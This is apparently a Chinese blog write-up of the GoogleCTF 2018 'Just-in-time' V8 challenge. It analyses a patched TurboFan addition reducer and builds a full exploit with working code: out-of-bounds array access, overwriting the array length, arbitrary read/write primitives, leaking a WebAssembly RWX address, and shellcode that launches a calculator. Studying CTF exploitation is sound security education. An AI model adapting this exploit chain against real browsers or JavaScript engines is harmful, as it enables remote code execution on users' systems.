GoogleCTF2018-Just-in-time

环境搭建        

这里用的chrome的版本号是7.0.276.3


fetch v8
cd v8
git reset --hard e0a58f83255d1dae907e2ba4564ad8928a7dedf4
gclient sync
git apply ../addition-reducer.patch
tools/dev/v8gen.py x64.debug
echo "v8_untrusted_code_mitigations = false" >> out.gn/x64.debug/args.gn
ninja -C out.gn/x64.debug

在编译完v8后,为方便以后调试,需要注释掉一下几处:

1.src/objects/fixed-array-inl.h:329

// v8/src/objects/fixed-array-inl.h
DCHECK(index >= 0 && index < this->length());

2.v8/src/code-stub-assembler.cc:2384

// v8/src/code-stub-assembler.cc

// in TNode<Float64T> CodeStubAssembler::LoadFixedDoubleArrayElement
CSA_ASSERT(this, IsOffsetInBounds(
    offset, LoadAndUntagFixedArrayBaseLength(object),
    FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));

3.v8/src/code-stub-assembler.cc:1982-1987

// v8/src/code-stub-assembler.cc
// in CodeStubAssembler::FixedArrayBoundsCheck
CSA_CHECK(this, UintPtrLessThan(effective_index,
                                  LoadAndUntagFixedArrayBaseLength(array)));

注释完成之后再重新编译v8即可。

patch分析

+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+  switch (node->opcode()) {
+    case IrOpcode::kNumberAdd:
+      return ReduceAddition(node);
+    default:
+      return NoChange();
+  }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+  DCHECK_EQ(node->op()->ControlInputCount(), 0);
+  DCHECK_EQ(node->op()->EffectInputCount(), 0);
+  DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+  Node* left = NodeProperties::GetValueInput(node, 0);
+  if (left->opcode() != node->opcode()) {
+    return NoChange();
+  }
+
+  Node* right = NodeProperties::GetValueInput(node, 1);
+  if (right->opcode() != IrOpcode::kNumberConstant) {
+    return NoChange();
+  }
+
+  Node* parent_left = NodeProperties::GetValueInput(left, 0);
+  Node* parent_right = NodeProperties::GetValueInput(left, 1);
+  if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+    return NoChange();
+  }
+
+  double const1 = OpParameter<double>(right->op());
+  double const2 = OpParameter<double>(parent_right->op());
+  Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+  NodeProperties::ReplaceValueInput(node, parent_left, 0);
+  NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+  return Changed(node);
+}

在新打的patch里,增加了一个名为 DuplicateAdditionReducer 的类,继承了reduce类,用于优化v8引擎中的抽象语法树。首先接收一个node参数,然后根据其opcode判断是否进行优化。若其操作类型为kNumberAdd,则表示该节点进行一个加法操作,调用ReduceAddition方法进行优化。

而在ReduceAddition方法方法中,接收一个参数node(这里就是DuplicateAdditionReducer 类接收的参数),首先判断其节点的左操作数,如果是一个加法操作,则继续进行优化,否则返回nochange;再继续判断其右操作数,如果是一个常量则继续进行优化,否则返回nochange。然后再将原来左节点的两个操作数中的右操作数与原来右节点的操作数相加,作为新节点;将原来左节点的左操作数作为新节点,这两个新节点作为node返回。这里可能有点绕,大致意思就是x+1+2,其中x+1是左节点,2是右节点,执行判断过程中将1+2的值作为右节点,将x作为左节点,然后返回。也就是x+1+2相当于x+3。

但是在这里,NumberConstant是doule类型的,那么经过这种优化方式之后就可能存在精度丢失,

例如:

Number.MAX_SAFE_INTEGER = 2^53 - 1;
var x = Number.MAX_SAFE_INTEGER + 1;//x = 9007199254740992
x += 1;//x = 9007199254740992
x += 1;//x = 9007199254740992
x += 2;//x = 9007199254740994

那么优化前,x+1+1=x,而经过优化x+1+1=x+2,这就产生了明显的越界问题。

poc分析

function f(x)
{
    const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; // length => Range(5, 5)
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);//Range(9007199254740989, 9007199254740992)
    t = t + 1 + 1;
        //解释:Range(9007199254740991, 9007199254740992)
        //编译:Range(9007199254740991, 9007199254740994)

    t -= 9007199254740989;
        //解释:Range(2, 3)
        //编译:Range(2, 5)
    return arr[t];
}

console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));

在优化之前,输入1返回值为arr[3],而优化之后,返回值变为arr[5],发生了数组越界读取。

修改一下poc查看一下越界读取内存的位置

function f(x)
{
    const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; // length => Range(5, 5)
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);//Range(9007199254740989, 9007199254740992)
    t = t + 1 + 1;
        //解释:Range(9007199254740991, 9007199254740992)
        //编译:Range(9007199254740991, 9007199254740994)

    t -= 9007199254740989;

        //解释:Range(2, 3)
        //编译:Range(2, 5)
    console.log(arr[t]);
    %DebugPrint(arr);
    return arr[t];
}

f(1);
%OptimizeFunctionOnNextCall(f);
f(1);
%SystemBreak();

 

 读取的是5.5之后8字节的数据,也就是element最后一个元素的下一个8字节。

漏洞利用

构造任意地址读写

之前我们已经成功测试出了越界读取操作,但这样显然不够,想要实现任意地址读写,我们就必须更改数组的长度,那么这个变量在哪里定义呢。

 

我们可以发现,这个length的定义同时存在于 JSArray和FixedDoubleArray中,该操作的源码定位于:v8/src/objects/js-array-inl.h:38

void JSArray::SetContent(Handle<JSArray> array,
                         Handle<FixedArrayBase> storage) {
  EnsureCanContainElements(array, storage, storage->length(),
                           ALLOW_COPIED_DOUBLE_ELEMENTS);

  DCHECK(
      (storage->map() == array->GetReadOnlyRoots().fixed_double_array_map() &&
       IsDoubleElementsKind(array->GetElementsKind())) ||
      ((storage->map() != array->GetReadOnlyRoots().fixed_double_array_map()) &&
       (IsObjectElementsKind(array->GetElementsKind()) ||
        (IsSmiElementsKind(array->GetElementsKind()) &&
         Handle<FixedArray>::cast(storage)->ContainsOnlySmisOrHoles()))));
  array->set_elements(*storage);
  array->set_length(Smi::FromInt(storage->length()));
}

该方法将FixedArrayBase 类型的 storage 设置为一个 JSArray 实例的元素,并设置length 属性为 storage 的长度。

检查数组访问是否越界的方法位于v8/src/ic/ic.cc:1169

bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) {
  uint32_t length = 0;
  if (receiver->IsJSArray()) {
    JSArray::cast(*receiver)->length()->ToArrayLength(&length);
  } else if (receiver->IsString()) {
    length = String::cast(*receiver)->length();
  } else if (receiver->IsJSObject()) {
    length = JSObject::cast(*receiver)->elements()->length();
  } else {
    return false;
  }
  return index >= length;
}

KeyedAccessLoadMode GetLoadMode(Isolate* isolate, Handle<Object> receiver,
                                uint32_t index) {
  if (IsOutOfBoundsAccess(receiver, index)) {
    if (receiver->IsJSTypedArray()) {
      // For JSTypedArray we never lookup elements in the prototype chain.
      return LOAD_IGNORE_OUT_OF_BOUNDS;
    }

    // For other {receiver}s we need to check the "no elements" protector.
    if (isolate->IsNoElementsProtectorIntact()) {
      if (receiver->IsString()) {
        // ToObject(receiver) will have the initial String.prototype.
        return LOAD_IGNORE_OUT_OF_BOUNDS;
      }
      if (receiver->IsJSObject()) {
        // For other JSObjects (including JSArrays) we can only continue if
        // the {receiver}s prototype is either the initial Object.prototype
        // or the initial Array.prototype, which are both guarded by the
        // "no elements" protector checked above.
        Handle<Object> receiver_prototype(
            JSObject::cast(*receiver)->map()->prototype(), isolate);
        if (isolate->IsInAnyContext(*receiver_prototype,
                                    Context::INITIAL_ARRAY_PROTOTYPE_INDEX) ||
            isolate->IsInAnyContext(*receiver_prototype,
                                    Context::INITIAL_OBJECT_PROTOTYPE_INDEX)) {
          return LOAD_IGNORE_OUT_OF_BOUNDS;
        }
      }
    }
  }
  return STANDARD_LOAD;
}

通过源码我们发现,这里FixedDoubleArray 中的 length在判断越界时并不会检查,只检查JSArray 的length,所以我们只需要能够修改JSArray 的length即可实现任意地址读写。

而通过上边的内存我们发现,JSArray的length在element数组的下边偏移为4的地方,这就给了我们机会去越界修改到这个length。

修改一下poc,使其越界范围扩大:

function f(x)
{
    const arr = [1.1, 2.2, 3.3, 4.4, 5.5,6.6,7.7]; // length => Range(7, 7)
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);//Range(9007199254740989, 9007199254740992)
    t = t + 1 + 1;
        //解释:Range(9007199254740991, 9007199254740992)
        //编译:Range(9007199254740991, 9007199254740994)

    t -= 9007199254740990;

        //解释:Range(1, 2)
        //编译:Range(1, 4)

    t *= 2;
        //解释:Range(2, 4)
        //编译:Range(2, 8)

    t += 2;
        //解释:Range(4, 6)
        //编译:Range(4, 10)
    console.log(arr[t]);
    %DebugPrint(arr);
    return arr[t];
}

f(1);
%OptimizeFunctionOnNextCall(f);
f(1);
%SystemBreak();

 发现经过优化后,数组越界读取到了这个length值。

那么我们再测试是否可以更改这个length

poc:

let arr=[];
function f(x)
{
    arr = [1.1, 2.2, 3.3, 4.4, 5.5,6.6,7.7]; // length => Range(7, 7)
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);//Range(9007199254740989, 9007199254740992)
    t = t + 1 + 1;
        //解释:Range(9007199254740991, 9007199254740992)
        //编译:Range(9007199254740991, 9007199254740994)

    t -= 9007199254740990;

        //解释:Range(1, 2)
        //编译:Range(1, 4)

    t *= 2;
        //解释:Range(2, 4)
        //编译:Range(2, 8)

    t += 2;
        //解释:Range(4, 6)
        //编译:Range(4, 10)
    arr[t]=2.1729236899484389e-311;//1024
}
for(let i=0;i<10000;i++){
    f(1);
}

console.log(arr.length);
console.log(arr[200]);
%DebugPrint(arr);
%SystemBreak();

 可以看到我们确实修改了arr的length并且可以进行越界读写。

 任意地址读写原语

这里利用ArrayBuffer类型进行数组越界读写,该类型有element和backing_store属性,这两者并不相互影响。

js测试代码:

buffer = new ArrayBuffer(0x400);
int = new Int32Array(buffer);
int[2] = 1024;
buffer[1] = 0x100;
%DebugPrint(buffer);
%SystemBreak();

 

 可以发现:int[2] = 1024;修改的是backing_store中的第二个元素的值

                   buffer[1] = 0x100;修改的是elements的第一个元素的值。

所以JSTypedArray读写的是 ArrayBuffer 的 backing_store而不是elements,那么我们如果修改backing_store的地址,就能够做到利用JSTypedArray任意地址读写了。

由此,我们不难分析出构造任意地址读写原语的步骤:

首先更改JSArray的length,实现越界读写;

再将ArrayBuffer分配到与JSArray相同的内存段上,从而通过越界读写修改backing_store。

构建任意地址读写原语:

/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/
var transformBuffer = new ArrayBuffer(8);
var bigIntArray = new BigInt64Array(transformBuffer);
var floatArray = new Float64Array(transformBuffer);
function Int64ToFloat64(int)
{
    bigIntArray[0] = BigInt(int);
    return floatArray[0];
}
function Float64ToInt64(float)
{
    floatArray[0] = float;
    return bigIntArray[0];
}

/******* -- 修改JSArray length 的操作 -- *******/
var arr = [];
function f(x)
{
    arr = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    arr[t] = 2.1729236899484389e-311; // 1024.f2smi
}
// 试着触发 turboFan,从而修改 JSArray 的 length
for(let i = 0; i < 0x10000; i++)
    f(1);
// 简单 checker
if(arr[1023] == undefined)
    throw "Oob Failed!";
else
    console.log("[+] arr.length == " + arr.length);

/******* -- 任意地址读写原语 -- *******/
var array_buffer;
array_buffer = new ArrayBuffer(0x233);
data_view = new DataView(array_buffer);
backing_store_offset = -1;

// 确定backing_store_offset
for(let i = 0; i < 0x400; i++)
{   
    // smi(0x233) == 0x0000023300000000
    if(Float64ToInt64(arr[i]) == 0x0000023300000000)
    {
        backing_store_offset = i + 1;
        break;
    }
}
// 简单确认一下是否成功找到 backing_store
if(backing_store_offset == -1)
    throw "backing_store is not found!";
else
    console.log("[+] backing_store offset: " + backing_store_offset);

function read_8bytes(addr)
{
    arr[backing_store_offset] = Int64ToFloat64(addr);
    return data_view.getBigInt64(0, true); // true 设置小端序
}
function write_8bytes(addr, data)
{
    arr[backing_store_offset] = Int64ToFloat64(addr);
    data_view.setBigInt64(0, BigInt(data), true); // true 设置小端序
}

/******* -- try arbitrary read/write -- *******/
// 试着读取地址为 0xdeadbeef 的内存
read_8bytes(0xdeadbeef);
// 试着写入地址为 0xaaaaaaaa 的内存
%DebugPrint(arr);
// write_8bytes(0xaaaaaaaa, 0x89abcdef);
// %DebugPrint(arr);
%SystemBreak();

成功读取目标内存并且可以向目标内存写入数据。

在距离arr数组第一个元素偏移28的位置处确实存放的是backing_store。 

泄露rwx地址 

我的之前的博客介绍过如何找到rwx内存地址,v8入门之StarCtf2019-oob_KingKi1L3r的博客-CSDN博客

这里直接给出参考代码

function prettyHex(bigint)
{
    return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');
}

// C++ 代码 `void func() {}` 的 wasm 二进制代码
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
    0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
    6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
    0,1,130,128,128,128,0,0,11]);
var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
// 这里写入了一个哨兵值0x233333,用于查找 WasmJSFunction 地址
var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};
var WasmJSFunctionIndex = -1;

for(let i = 0; i < 0x4000; i++)
{   
    // 查找哨兵值
    if(Float64ToInt64(arr[i]) == 0x233333)
    {
        WasmJSFunctionIndex = i + 1;
        break;
    }
}

// 简单确认一下是否成功找到 WasmJSFunctionAddr
if(WasmJSFunctionIndex == -1)
    throw "WasmJSFunctionAddr is not found!";
else
    console.log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);

// 获取 WasmJSFunction 地址
WasmJSFunctionAddr = Float64ToInt64(arr[WasmJSFunctionIndex]) - BigInt(1);
console.log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
// 获取 SharedFunctionInfo 地址
SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
console.log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
// 获取 WasmExportedFunctionData 地址
WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
console.log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
// 获取 WasmInstanceObject 地址
WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
console.log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
// 获取 JumpTableStart 地址
JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
console.log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

写入shellcode

找到rwx段后,向其中写入shellcode弹出计算器。

exp

/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/
var transformBuffer = new ArrayBuffer(8);
var bigIntArray = new BigInt64Array(transformBuffer);
var floatArray = new Float64Array(transformBuffer);
function Int64ToFloat64(int)
{
    bigIntArray[0] = BigInt(int);
    return floatArray[0];
}
function Float64ToInt64(float)
{
    floatArray[0] = float;
    return bigIntArray[0];
}

/******* -- 修改JSArray length 的操作 -- *******/
var arr = [];
function f(x)
{
    arr = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    arr[t] = 2.1729236899484389e-311; // 1024.f2smi
}
// 试着触发 turboFan,从而修改 JSArray 的 length
for(let i = 0; i < 0x10000; i++)
    f(1);
// 简单 checker
if(arr[1023] == undefined)
    throw "Oob Failed!";
else
    console.log("[+] arr.length == " + arr.length);

/******* -- 任意地址读写原语 -- *******/
var array_buffer;
array_buffer = new ArrayBuffer(0x233);
data_view = new DataView(array_buffer);
backing_store_offset = -1;

// 确定backing_store_offset
for(let i = 0; i < 0x400; i++)
{   
    // smi(0x233) == 0x0000023300000000
    if(Float64ToInt64(arr[i]) == 0x0000023300000000)
    {
        backing_store_offset = i + 1;
        break;
    }
}
// 简单确认一下是否成功找到 backing_store
if(backing_store_offset == -1)
    throw "backing_store is not found!";
else
    console.log("[+] backing_store offset: " + backing_store_offset);

function read_8bytes(addr)
{
    arr[backing_store_offset] = Int64ToFloat64(addr);
    return data_view.getBigInt64(0, true); // true 设置小端序
}
function write_8bytes(addr, data)
{
    arr[backing_store_offset] = Int64ToFloat64(addr);
    data_view.setBigInt64(0, BigInt(data), true); // true 设置小端序
}
/******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/
function prettyHex(bigint)
{
    return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');
}

// C++ 代码 `void func() {}` 的 wasm 二进制代码
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
    0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
    6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
    0,1,130,128,128,128,0,0,11]);
var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
// 这里写入了一个哨兵值0x233333,用于查找 WasmJSFunction 地址
var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};
var WasmJSFunctionIndex = -1;

for(let i = 0; i < 0x4000; i++)
{   
    // 查找哨兵值
    if(Float64ToInt64(arr[i]) == 0x233333)
    {
        WasmJSFunctionIndex = i + 1;
        break;
    }
}

// 简单确认一下是否成功找到 WasmJSFunctionAddr
if(WasmJSFunctionIndex == -1)
    throw "WasmJSFunctionAddr is not found!";
else
    console.log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);

// 获取 WasmJSFunction 地址
WasmJSFunctionAddr = Float64ToInt64(arr[WasmJSFunctionIndex]) - BigInt(1);
console.log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
// 获取 SharedFunctionInfo 地址
SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
console.log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
// 获取 WasmExportedFunctionData 地址
WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
console.log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
// 获取 WasmInstanceObject 地址
WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
console.log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
// 获取 JumpTableStart 地址
JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
console.log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

/******* -- 写入并执行shell code -- *******/
var shellcode = new Uint8Array(
    [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
     0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00,
     0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e,
     0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00,
     0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]
);
// 写入shellcode 
console.log("[+] writing shellcode ... ");
// (尽管单次写入内存的数据大小为8bytes,但为了简便,一次只写入 1bytes 有效数据)
for(let i = 0; i < shellcode.length; i++)
    write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]);
// 执行shellcode
console.log("[+] execute calculator !");
WasmJSFunction();

 成功弹出计算器

 参考

浅析 V8-turboFan | Kiprey's Blog

Google CTF justintime writeup - 先知社区 (aliyun.com)

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值